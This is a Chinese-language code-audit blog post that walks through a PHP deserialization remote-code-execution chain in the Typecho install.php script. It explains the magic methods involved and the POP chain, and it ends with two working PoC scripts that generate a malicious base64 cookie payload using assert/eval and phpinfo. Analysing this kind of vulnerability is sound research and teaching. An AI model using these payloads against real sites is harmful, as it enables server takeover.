PHP審計之PHP反序列化漏洞

nice_0e3發表於2021-10-11

PHP審計之PHP反序列化漏洞

前言

一直不懂,PHP反序列化感覺上比Java的反序列化難上不少。但歸根結底還是serializeunserialize中的一些問題。

在此不做多的介紹。

魔術方法

在php的反序列化中會用到各種魔術方法

__wakeup() //使用unserialize時觸發
__sleep() //使用serialize時觸發
__destruct() //物件被銷燬時觸發
__call() //在物件上下文中呼叫不可訪問的方法時觸發
__callStatic() //在靜態上下文中呼叫不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取資料
__set() //用於將資料寫入不可訪問的屬性
__isset() //在不可訪問的屬性上呼叫isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字串使用時觸發,不僅僅是echo的時候,比如file_exists()判斷也會觸發
__invoke() //當指令碼嘗試將物件呼叫為函式時觸發

程式碼審計

尋覓漏洞點

定位到漏洞程式碼install.php

 <?php if (isset($_GET['finish'])) : ?>
                <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                <h1 class="typecho-install-title"><?php _e('安裝失敗!'); ?></h1>
                <div class="typecho-install-body">
                    <form method="post" action="?config" name="config">
                    <p class="message error"><?php _e('您沒有上傳 config.inc.php 檔案,請您重新安裝!'); ?> <button class="btn primary" type="submit"><?php _e('重新安裝 &raquo;'); ?></button></p>
                    </form>
                </div>
                <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                <h1 class="typecho-install-title"><?php _e('沒有安裝!'); ?></h1>
                <div class="typecho-install-body">
                    <form method="post" action="?config" name="config">
                    <p class="message error"><?php _e('您沒有執行安裝步驟,請您重新安裝!'); ?> <button class="btn primary" type="submit"><?php _e('重新安裝 &raquo;'); ?></button></p>
                    </form>
                </div>
                <?php else : ?>
                    <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

前面的幾個判斷比較簡單,判斷finish傳參的值是否存在,然後判斷/config.inc.php檔案是否存在,按照慣例,在php安裝完成後,會建立一個標識檔案,進行識別程式是否安裝,避免重複安裝問題。

後面程式碼即走到這一步

 <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

接收Cookie中__typecho_config的值,進行base64解密後再反序列化的操作。將反序列化後的資料存到$config中,來到下面,清空cookie的值,然後例項化一個Typecho_Db物件,將$config['adapter']$config['prefix']進行儲存到該物件中。

尋找POP鏈

這時候需要尋找一個pop鏈,在PHP中一般以__construct方法來做反序列化反序列化的第一個觸發點,而在Java裡面則是需要反序列化的該物件被重寫後的readObject方法。

來看到Db.php檔案

 public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 獲取介面卡名稱 */
        $this->_adapterName = $adapterName;

        /** 資料庫介面卡 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化內部變數 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //例項化介面卡物件
        $this->_adapter = new $adapterName();
    }

這裡的$adapterName變數並且了一串Typecho_Db_Adapter_字串,假設$adapterName為一個物件的話,即可觸發到__toString()方法。

尋找__toString方法

Feed.php __toString方法程式碼

 foreach ($links as $link) {
                $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
            }

            $result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;

            $result .= $content . '</rdf:RDF>';

        } else if (self::RSS2 == $this->_type) {
            ...
        }

self::RSS2 == $this->_type中比較是否對等,self::RSS2RSS 2.0字串。

所以說需要走到這個判斷條件下的邏輯在需要構造$this->_type這個資料。

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
                ...
            }

下面這裡呼叫了$item['author']->screenName,如果 $item['author'] 中儲存的類沒有'screenName'屬性或該屬性為私有屬性,此時會觸發該類中的 __get() 魔法方法.

尋找__get方法

/var/Typecho/Request.php

public function __get($key)
    {
        return $this->get($key);
    }

$key 傳入的值為 scrrenName

 public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

$this->_params[$key]值存在,即將該值賦值給$value,然後判斷該值不等於陣列和小於0則資料不變。

然後呼叫$this->_applyFilter($value)

繼續看到_applyFilter

private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }

關鍵地方在於上面程式碼中,判斷$this->_filter是否存在並且遍歷filter,假設上面傳入的$value為陣列則呼叫array_map($filter, $value),否則則呼叫call_user_func($filter, $value)

這兩個都回撥方法都可以進行程式碼程式碼執行。

呼叫鏈:

Typecho_Db.__construct -> Typecho_Feed.__toString ->Typecho_Request.__get -> Typecho_Request.get -> Typecho_Request._applyFilter

構造POP鏈

來看看需要構造的資料

  1. Typecho_Db__construct 方法$adapterName變數需要為一個物件,並且是能觸發到一個點的物件。根據上面尋找到的是Typecho_Feed這個例項化物件拼接字串的話,會觸發__toString 。因此這個方法的引數第一個傳遞Typecho_Feed,而第二個引數傳遞typecho_

  2. 上面分析Feed這個點的時候,需要將self::RSS2設定為RSS 2.0,這個$this->_items[author]傳入一個不存在或者是方法為私有屬性的screenName方法的類。這樣可以去自動去呼叫__get。在上面尋找到的是Typecho_Request,所以這裡傳入一個Typecho_Request例項化物件。進行自動呼叫__get

  3. Typecho_Request198行中$this->_params[$key]這個key的值是scrrenName,即為$this->_params[scrrenName],則這個值需要設定為一個需要執行的程式碼。

  4. 最後走到_applyFilter這裡遍歷了$this->_filter後,進行呼叫array_mapcall_user_func,並且分別傳入$filter, $value。那麼這裡即需要設定一個$this->_filter為一個程式碼執行的方法。那麼即可把整一個鏈給到程式碼執行給串聯起來。

除錯POP鏈

但是當我們按照上面的所有流程構造poc之後,發請求到伺服器,卻會返回500.

install.php的開始,呼叫了ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函式將開啟輸出緩衝。當輸出緩衝啟用後,指令碼將不會輸出內容(除http標頭外),相反需要輸出的內容被儲存在內部緩衝區中。(因此可選擇回撥函式用於處理輸出結果資訊)

該函式可以讓你自由地控制指令碼中資料的輸出。比如可以用在輸出靜態化頁面上。而且,當你想在資料已經輸出後,再輸出檔案頭的情況。輸出控制函式不對使用 header() 或 setcookie(), 傳送的檔案頭資訊產生影響,只對那些類似於 echo() 和 PHP 程式碼的資料塊有作用。原因是當開啟了緩衝區,echo後面的字元不會輸出到瀏覽器,而是保留在伺服器,直到你使用flush或者ob_end_flush才會輸出,所以並不會有任何檔案頭輸出的錯誤。

因為我們上面物件注入的程式碼觸發了原本的exception,導致ob_end_clean()執行,原本的輸出會在緩衝區被清理。

我們必須想一個辦法強制退出,使得程式碼不會執行到exception,這樣原本的緩衝區資料就會被輸出出來。

這裡有兩個辦法。 1、因為call_user_func函式處是一個迴圈,我們可以通過設定陣列來控制第二次執行的函式,然後找一處exit跳出,緩衝區中的資料就會被輸出出來。 2、第二個辦法就是在命令執行之後,想辦法造成一個報錯,語句報錯就會強制停止,這樣緩衝區中的資料仍然會被輸出出來。

這裡使用的是上面說的第二個辦法。

<?php

	class Typecho_Feed{
		private $_type;
		private $_items = array();

		public function __construct(){
			$this->_type = "RSS 2.0";
			$this->_items = array(
				array(
					"title" => "test",
					"link" => "test",
					"data" => "20190430",
					"author" => new Typecho_Request(),
				),
			);
		}
	}

	class Typecho_Request{
		private $_params = array();
		private $_filter = array();

		public function __construct(){
			$this->_params = array(
				"screenName" => "eval('phpinfo();exit;')",
			);
			$this->_filter = array("assert");
		}
	}

	$a = new Typecho_Feed();

	$c = array(
		"adapter" => $a,
		"prefix" => "test",
	);

	echo base64_encode(serialize($c));

另外一個方法,直接mark過來,POC如下:

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = -1;
        $this->_filter[0] = 'phpinfo';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定義ATOM 1.0型別 */
    const ATOM1 = 'ATOM 1.0';
    /** 定義RSS時間格式 */
    const DATE_RFC822 = 'r';
    /** 定義ATOM時間格式 */
    const DATE_W3CDTF = 'c';
    /** 定義行結束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

參考

[紅日安全]程式碼審計Day11 - unserialize反序列化漏洞

Typecho-反序列化漏洞學習

Typecho 前臺 getshell 漏洞分析

結尾

PHP的反序列化相當於Java的反序列化個人感覺PHP的反序列化比較靈活,可以結合各種魔術方法做聯動。

相關文章